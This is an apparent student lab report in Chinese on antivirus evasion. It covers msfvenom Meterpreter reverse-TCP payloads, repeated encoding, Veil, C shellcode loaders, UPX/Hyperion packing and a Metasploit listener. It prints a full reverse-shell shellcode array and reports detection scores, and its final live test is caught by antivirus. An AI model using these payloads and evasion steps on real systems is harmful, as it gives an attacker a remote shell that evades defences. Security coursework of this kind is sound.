1.实验内容
1.1 实践内容
- 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
- 通过组合应用各种技术实现恶意代码免杀
- 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
1.2 回答问题
- 杀软是如何检测出恶意代码的?
-- 特征码、启发式、基于行为:
特征码是某个恶意软件的标识性代码,一般不同的恶意软件特征码是不同的;启发式分析是一种通过检查代码中可疑属性来检测病毒的方法;基于行为的检测主要是看运行之后的软件是否具有恶意软件的行为。
-- 文件校验和: 将正常文件的内容,计算其校验和,将该校验和写入文件中或写入别的文件中保存。在文件使用过程中,定期地或每次使用文件前,检查文件现在内容算出的校验和与原来保存的校验和是否一致,因而可以发现文件是否感染,
-- 云查杀: 这个种类不一,主要是上述的技术中的全部或部分内容移到了云上。
-- 机器学习: 利用机器学习,学习特征库,行为库等数据,从而能够智能识别恶意代码。 - 免杀是做什么?
--一句话来说,就是通过技术手段,使得某个软件能够绕过现有技术的检测,避免被当成恶意软件被发现。 - 免杀的基本方法有哪些?
--修改特征码: 修改特征码,使得现有的特征库匹配不出结果。
--修改校验和: 修改校验和,使得入侵前后的校验和保持一致。
--花指令免杀: 加入一段没有用的指令,使得程序的部分偏移发生变化,从而使得特征码的地址发生偏移,影响杀毒软件的识别。
--加壳免杀: 给我们编的“恶意软件”穿个“马甲”。
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 msf编码器
首先,我们要查看一下msfvenom支持的所有输出格式,输入如下命令
msfvenom --list formats
框架可执行格式(Framework Executable Formats)
- asp, aspx, aspx-exe - 微软ASP.NET相关的脚本和可执行文件。
- axis2 - Apache Axis2生成的Web服务客户端或服务器端的可执行文件。
- dll - 动态链接库,Windows操作系统中用于存储代码和数据的文件。
- ducky-script-psh - 可能与Ducky Script(一种用于USB Rubber Ducky的脚本语言)和PowerShell脚本相关。
- elf, elf-so - ELF(Executable and Linkable Format)是UNIX系统(包括Linux)上常见的可执行文件格式。elf-so特指共享对象(shared object)文件。
- exe, exe-only, exe-service, exe-small - Windows可执行文件。exe-only指仅包含代码的可执行文件;exe-service指作为Windows服务运行的可执行文件;exe-small可能是指经过优化以减小大小的可执行文件。
- hta-psh - HTML应用程序(HTA)与PowerShell脚本结合的文件。
- jar - Java归档文件,用于打包Java类文件和相关资源。
- jsp - JavaServer Pages,用于生成动态Web内容的服务器端脚本。
- loop-vbs - 可能是指一个循环执行的VBScript脚本。
- macho - macOS上的可执行文件格式。
- msi, msi-nouac - Microsoft Installer文件,用于Windows上的软件安装。msi-nouac可能指禁用用户帐户控制(UAC)的MSI文件。
- osx-app - macOS上的应用程序包。
- psh, psh-cmd, psh-net, psh-reflection - PowerShell脚本及相关格式。
- python-reflection - 可能与Python反射机制相关的脚本或代码。
- vba, vba-exe, vba-psh - Visual Basic for Applications脚本、将其转换为可执行文件以及与PowerShell结合使用的脚本。
- vbs - Visual Basic Script,一种脚本语言。
- war - Web应用程序归档文件,用于Java EE应用服务器。
框架转换格式(Framework Transform Formats)
- base32, base64 - 编码格式,用于将二进制数据转换为文本。
- bash, sh - Bourne Again SHell和Shell脚本。
- c, csharp, go, golang, java, nim, nimlang, perl, pl, powershell, ps1, py, python, rb, ruby, rust, rustlang, zig - 各种编程语言源代码格式。
- dw, dword - 通常用于表示32位无符号整数。
- hex, octal - 十六进制和八进制编码。
- js_be, js_le - 大端(BE)和小端(LE)格式的JavaScript代码(可能指字节顺序)。
- masm - Microsoft Macro Assembler代码。
- num - 数字格式,可能指纯数字表示。
- raw - 原始数据格式,未经任何编码或格式化。
- vbapplication, vbscript - Visual Basic Application和Visual Basic Script代码。
然后输入ifconfig
来查看kali的IP地址。
接下来我们要使用这个IP地址来构造payload,输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -f exe > 20222401.exe
命令解释:
-p windows/meterpreter/reverse_tcp
指定了载荷类型。这是一个针对Windows系统的Meterpreter载荷,它通过反向TCP连接回连到攻击者的机器。Meterpreter是Metasploit Framework中的一个高级载荷,提供了丰富的后渗透测试功能。
LHOST=192.168.121.157
设置了监听主机(Listener Host)的IP地址,即攻击者机器的IP地址。这是载荷回连到攻击者机器时所使用的IP地址,这里就是kali的IP地址,需要根据实际情况进行替换。
LPORT=2401
设置了监听端口(Listener Port),即攻击者机器上用于接收来自载荷连接的端口号,端口号一般没有太多要求,只要不和已有端口号冲突即可。
-f exe
指定了输出格式。在这个例子中,输出格式被设置为Windows可执行文件(.exe)。这意味着生成的载荷将被封装在一个.exe文件中,该文件可以在Windows系统上执行。
> 20222401.exe
这是Unix/Linux shell的命令重定向功能。它将 msfvenom 命令的输出(即生成的.exe文件)重定向到一个名为 20222401.exe (文件名随意)的文件中。这样,您就可以在指定的位置找到生成的载荷文件。
运行效果如下:
然后我们检测一下这个文件有没有生成,输入ls
来查看文件
可以很明显的看到20222401.exe
已经生成了,代表我们的操作是成功的。
接下来把这个文件(按照我这个操作,文件路径是/root
)拖动到主机(Windows)的桌面上,然后放入到如下网站进行检测
https://www.virustotal.com/gui/home/upload
但是这里遇到一个尴尬的问题,我的kali不允许我把文件直接拖到主机上,而我又懒得去升级安装,那实验是不是就做不了呢?非也,还是有一种办法的。
这里就要借助远程连接技术(Winscp软件,很好用的远程连接文件管理器)。详细教程在这里(优秀教程,货真价实,亲测有效)
https://blog.csdn.net/qq_44657899/article/details/107116658
给大家放一个图
!!!重要的事情说三遍
!!!关闭所有杀毒软件
!!!关闭所有杀毒软件
!!!关闭所有杀毒软件
如果你不想自己的exe被杀毒软件一发入魂的话。
做好上述准备工作之后,这样我们就可以拖动了,也就变相“绕开”烦人的虚拟机了。
然后把20222401.exe
放到之前提到过的virustotal
上进行检测
哦豁,虽然看不懂具体情况,但是反复出现的Trojan和满屏的红色,都在表明这个exe不简单。根据我之前的了解,一个软件如果评分达到60及以上,就会被认定是病毒。虽然这个数值在不同的检测平台不一定一样,但是至少说明了刚才生成了一个十分具有威胁的程序。那么我们后续的工作,就是通过各种技术,使得评分尽可能变低,让杀毒软件放松警惕。
接下来,我们要对这个文件进行编码。首先需要了解一下msfvenom支持的所有编码方式,输入以下命令:
msfvenom --list encoders
-
通用编码器
generic/eicar (manual): EICAR 编码器
generic/none (normal): "none" 编码器 -
Bash/Shell 编码器
cmd/base64 (good): Base64 命令编码器
cmd/brace (low): Bash 大括号扩展命令编码器
cmd/echo (good): Echo 命令编码器
cmd/generic_sh (manual): 通用 Shell 变量替换命令编码器
cmd/ifs (low): Bourne ${IFS} 替换命令编码器 -
PHP 编码器
cmd/printf_php_mq (manual): 通过 PHP magic_quotes 的 printf(1) 编码器
php/base64 (great): PHP Base64 编码器 -
Perl/Ruby 编码器
cmd/perl (normal): Perl 命令编码器
ruby/base64 (great): Ruby Base64 编码器 -
Powershell 编码器
cmd/powershell_base64 (excellent): Powershell Base64 命令编码器 -
特定架构编码器 (MIPS, PPC, SPARC, x64, x86)
-
MIPS (大端和小端)
mipsbe/byte_xori (normal): MIPS BE Byte XORi 编码器
mipsbe/longxor (normal): MIPS BE XOR 编码器
mipsle/byte_xori (normal): MIPS LE Byte XORi 编码器
mipsle/longxor (normal): MIPS LE XOR 编码器 -
PPC
ppc/longxor (normal): PPC LongXOR 编码器
ppc/longxor_tag (normal): PPC LongXOR 编码器(带标签) -
SPARC
sparc/longxor_tag (normal): SPARC DWORD XOR 编码器
-
x64
x64/xor (normal): x64 XOR 编码器
x64/xor_context (normal): 基于主机名的上下文密钥有效载荷编码器
x64/xor_dynamic (normal): 动态密钥 XOR 编码器
x64/zutto_dekiru (manual): Zutto Dekiru 编码器 -
x86
x86/add_sub (manual): 加/减编码器
x86/alpha_mixed (low): Alpha2 字母数字混合大小写编码器
x86/alpha_upper (low): Alpha2 字母数字大写编码器
x86/avoid_underscore_tolower (manual): 避免下划线/小写转换
x86/avoid_utf8_tolower (manual): 避免 UTF8/小写转换
x86/bloxor (manual): BloXor - 基于块的变形 XOR 编码器
x86/bmp_polyglot (manual): BMP 多语种
x86/call4_dword_xor (normal): Call+4 Dword XOR 编码器
x86/context_cpuid (manual): 基于 CPUID 的上下文密钥有效载荷编码器
x86/context_stat (manual): 基于 stat(2) 的上下文密钥有效载荷编码器
x86/context_time (manual): 基于 time(2) 的上下文密钥有效载荷编码器
x86/countdown (normal): 单字节 XOR 倒计时编码器
x86/fnstenv_mov (normal): 可变长度的 Fnstenv/mov Dword XOR 编码器
x86/jmp_call_additive (normal): Jump/Call XOR 加法反馈编码器
x86/nonalpha (low): 非字母编码器
x86/nonupper (low): 非大写编码器
x86/opt_sub (manual): Sub 编码器(优化)
x86/service (manual): 注册服务
x86/shikata_ga_nai (excellent): 多态 XOR 加法反馈编码器
x86/single_static_bit (manual): 单静态位
x86/unicode_mixed (manual): Alpha2 字母数字 Unicode 混合大小写编码器
x86/unicode_upper (manual): Alpha2 字母数字 Unicode 大写编码器
x86/xor_dynamic (normal): 动态密钥 XOR 编码器
x86/xor_poly (normal): XOR POLY 编码器
格式明确之后,我们要对之前的文件进行编码了。输入如下命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.121.157 LPORT=2401 -f exe > 20222401_v1.exe
输入ls
看一下成不成功
OK,那么接下来我们来看一下效果。还是放到刚才的网站进行检测。
评分并没有变低,说明我们的力度不够,那么就需要再来几次,输入以下命令来编码20次:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 20 -b '\x00' LHOST=192.168.121.157 LPORT=2401 -f exe > 20222401_v2.exe
我们再对20222401_v2.exe
进行检测
好像不大行,那我们换一个思路,既然exe没办法逃过检测,那么其他文件可以吗?试一试java的文件格式,输入以下命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -f jar > 20222401_v3.jar
再试试看检测效果
这一次有了明显的好转,分数大幅度下降。
接下来使用编码器对payload进行编码,输入以下命令
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -e x86/shikata_ga_nai -i 10 -f jar > 20222401_v4.jar
接下来我们把这个文件还是送去检测,结果如下
接下来,我们还是要考虑如何降低评分,可以使用反向TCP连接来降低被发现的几率。
输入以下命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -f elf > 20222401_v5.elf
我这边换了一个检测网站(之前的一直无法上传文件)
这是我使用的新的检测网站https://www.virscan.org/report/8ecb103b5901d589d20ea1e945b55b347b5c3d8e54f91eedbaf35b6d4ab20cc0
接下来使用编码器对payload进行编码,输入以下命令
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -e x86/shikata_ga_nai -i 10 -f elf > 20222401_v6.elf
送去检测,效果如下
(⊙o⊙)…明显降低了。
2.1.2 veil工具
依次输入下列命令安装veil
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
然后输入依次输入下列命令
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
sudo apt-get install wine32
这里出现报错,我们开始解决,下面是解决方案
依次输入下列命令
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
接下来输入下列命令
apt-get install veil
很长的一大串文字,我就不放全部图了,反正不报错就行。
输入
cd /usr/share/veil/config/
vim setup.sh
搜索定位到图示位置:
把这里出现的唯一一个网址(http开头的)换成下面的网址,保存退出就行。
https://gitee.com/spears/VeilDependencies.git
然后输入veil
开始安装,只要不报错就是一直输入y
(中间有几个几个地方需要确认才能进行)
出现报错,输入下列命令继续安装
sudo /usr/share/veil/config/setup.sh --force --silent
这就是安装好了,我们输入veil
来查看一下
我们发现并没有装上,需要改主机名。
修复好之后再次尝试。
输入use evasion
依次输入
use 7
set LHOST 192.168.121.157
set LPORT 2401
generate
20222401_veil
将产生的exe文件使用VirScan进行检测
2.1.3 C + shellcode编程
接下来我们输入下列命令
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -f c
输入下列命令
touch 20222401.c
vim 20222401.c
然后把刚才生成的数组复制过去
接下来输入下列命令
i686-w64-mingw32-g++ 20222401.c -o 20222401.exe
ls
然后丢给检测软件检测一下。
2.1.4 加壳工具
现在对软件进行加壳。
输入下列命令
upx 20222401.exe -o upx20222401.exe
接下来输入下列命令:
cp upx20222401.exe /usr/share/windows-resources/hyperion
cd /usr/share/windows-resources/hyperion
ls
输入下列命令
wine hyperion.exe -v upx20222401.exe upx20222401_1.exe
接下来对两个文件进行检测
2.2 组合技术实现免杀
2.2.1 msfvenom多次编码与压缩加壳组合
首先,我们需要输入下列命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 24 -b '\x00' LHOST=192.168.121.157 LPORT=2401 -f exe >20222401_4.exe
下面进行多次编码,输入下列命令
upx 20222401_7.exe -o upx20222401_2.exe
丢到检测软件进行检测
2.2.2 C与shellcode与异或
首先我们要通过msfvenom生成Shellcode数组,输入下列命令
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.121.157 LPORT=2401 -f c
字符串如下
unsigned char buf[] =
"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x4d\x31\xc9\x48\x8b\x72\x50\x48\x0f"
"\xb7\x4a\x4a\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f"
"\x85\x72\x00\x00\x00\x8b\x80\x88\x00\x00\x00\x48\x85\xc0"
"\x74\x67\x48\x01\xd0\x50\x44\x8b\x40\x20\x49\x01\xd0\x8b"
"\x48\x18\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6"
"\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1"
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8"
"\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41"
"\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83"
"\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9"
"\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00"
"\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49"
"\x89\xe5\x49\xbc\x02\x00\x09\x61\xc0\xa8\x79\x9d\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5"
"\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b"
"\x00\xff\xd5\x6a\x0a\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31"
"\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41"
"\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58"
"\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5"
"\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5\xe8\x93\x00\x00\x00"
"\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58"
"\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00"
"\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41\x59\x68"
"\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba"
"\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31"
"\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9"
"\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68"
"\x00\x40\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f"
"\x30\xff\xd5\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49"
"\xff\xce\xe9\x3c\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48"
"\x85\xf6\x75\xb4\x41\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2"
"\xf0\xb5\xa2\x56\xff\xd5";
按照上面的步骤构建软件
然后输入下列命令
gcc 20222406_8.c -o 20222406_8.exe
./20222406_8.exe
运行结果如下
然后把生成的密文替换原来的文件
2.3 免杀测试
首先生成免杀文件,输入下列命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.121.157 LPORT=2401 -f raw >20222401.raw
然后把文件拖到开启了防火墙的windows中。
输入msfconsole
进入控制台
接下来配置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.121.157
set LPORT 2401
接下来在Windows的界面中运行以下命令
.\shellcode_launcher.exe -i 20222401.raw
接下来在kali的shell中继续输入exploit
然后软件运行失败,被杀毒软件检出。
3.问题及解决方案
- 问题1:文件无法直接拖出kali
- 问题1解决方案:使用Winscp进行远程连接,具体过程详见上文。
- 问题2:安装不上evil
- 问题2解决方案:换源,具体参考的是20222406王瑞的换源过程。
4.学习感悟、思考等
这一次实验抛开安装上的难度,其实实验本身还是很有趣的。这一次尝试在自己制作一个病毒软件,然后想办法逃过杀毒软件的查杀。虽然最后还是没有逃过,但是在过程中对于加壳,编码,加密等方式有了更深的了解。